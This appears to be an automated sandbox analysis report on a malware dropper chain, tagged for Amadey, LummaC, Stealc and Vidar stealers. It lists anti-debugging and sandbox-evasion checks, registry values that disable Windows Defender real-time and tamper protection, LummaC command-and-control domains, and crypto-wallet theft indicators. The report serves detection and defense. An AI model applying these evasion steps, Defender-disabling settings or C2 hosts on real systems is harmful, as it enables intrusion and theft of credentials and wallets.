+IQgMUlEIp2kdrXyLpaBWMC83wAeXQfy/X4S4dgS4OVFSOgFbXhmhb1KsErLEuCEwYTenG5kZuPZf6esqUep8F09PEBJGT6c4BbFyxPe4NzAgdO1b0Vqq5FiPhV8EuC5WDxADfVweu0Zj9j+K6/95YSc5v0aXAYWnV/GENkqnbxhfKAxSUQinaRDEMoPk7n99a1b8WN0Z8qcZ8eMqRP8rUV9FXw4EWuIvDbEjyvy4eTA/JbEJxRnkp1iyqWoMvDlDWCMxeUgMo
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2433056254.0000000000DDB000.00000040.00000001.01000000.00000003.sdmp, DocumentsAKKEGHJDHD.exe, 00000014.00000000.2382016145.00000000007D0000.00000080.00000001.01000000.0000000B.sdmp, DocumentsAKKEGHJDHD.exe, 00000014.00000002.2436560720.00000000007D0000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000000.2409374269.0000000000C80000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000002.2470032942.0000000000C80000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.2415847408.0000000000C80000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.2476080256.0000000000C80000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.3289673183.0000000000C80000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000000.2683141229.0000000000C80000.00000080.00000001.01000000.0000000E.sdmp, 5912d4444a.exe, 00000019.00000002.3000085480.000000000604B000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 5912d4444a.exe, 00000022.00000002.3299740608.00000000011FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8AmPYPyvX471OBL/dwAqHgFS
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe

Code function: 20_2_04B10302 Start: 04B10328 End: 04B10324

20_2_04B10302

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe

Code function: 20_2_04B10B2A rdtsc

20_2_04B10B2A

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6BC410

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_0061652B mov eax, dword ptr fs:[00000030h]	20_2_0061652B
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Code function: 20_2_0061A302 mov eax, dword ptr fs:[00000030h]	20_2_0061A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00ACA302 mov eax, dword ptr fs:[00000030h]	21_2_00ACA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00AC652B mov eax, dword ptr fs:[00000030h]	21_2_00AC652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00ACA302 mov eax, dword ptr fs:[00000030h]	22_2_00ACA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00AC652B mov eax, dword ptr fs:[00000030h]	22_2_00AC652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00ACA302 mov eax, dword ptr fs:[00000030h]	24_2_00ACA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00AC652B mov eax, dword ptr fs:[00000030h]	24_2_00AC652B

Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 9016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 4028, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 5912d4444a.exe, 00000019.00000003.2826811020.0000000005566000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1222396-1-3,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1085156-1-3,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-63,eej45377:646690,v1_disable_abandoned_cart:506070,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,domexpansion_v1:408272,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"130.0.0.0"}]},"EdgeShoppingDisableAbandonedCart":{"disableFeatures":["msEdgeShoppingPwiloNotificationsAbandonedCarts"]},"EdgeShoppingDomMutationExpansion":{"enableFeatures":["msShoppingExp67"]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]

LummaC encrypted strings found

Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: scriptyprefej.store
Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: navygenerayk.store
Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: founpiuer.store
Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: necklacedmny.store
Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: thumbystriw.store
Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: fadehairucw.store
Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: crisiwarny.store
Source: 5912d4444a.exe, 00000019.00000002.2995039027.0000000000D61000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAKKEGHJDHD.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsAKKEGHJDHD.exe "C:\Users\user\DocumentsAKKEGHJDHD.exe"
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe "C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe "C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe "C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe"

Source: file.exe, file.exe, 00000000.00000002.2433056254.0000000000DDB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6535A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6535A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_00AD2517 GetTimeZoneInformation,

24_2_00AD2517

Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 5912d4444a.exe, 00000019.00000003.2909009479.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2909009479.00000000008B5000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2871822124.0000000000940000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsAKKEGHJDHD.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.a90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.2468253524.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2436252092.00000000005E1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3287588775.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2475715054.0000000000A91000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 3176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 4912, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000019.00000002.2999735217.0000000005C71000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2987474200.0000000005650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2422651725.000000000074E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2432002619.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2047396173.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2952615207.00000000080D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2866034548.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3232047766.0000000005360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3037729886.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3272499902.0000000000CB1000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2825109229.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2865698823.0000000000B2D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 9016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b84e35a556.exe PID: 4028, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5912d4444a.exe PID: 6308, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

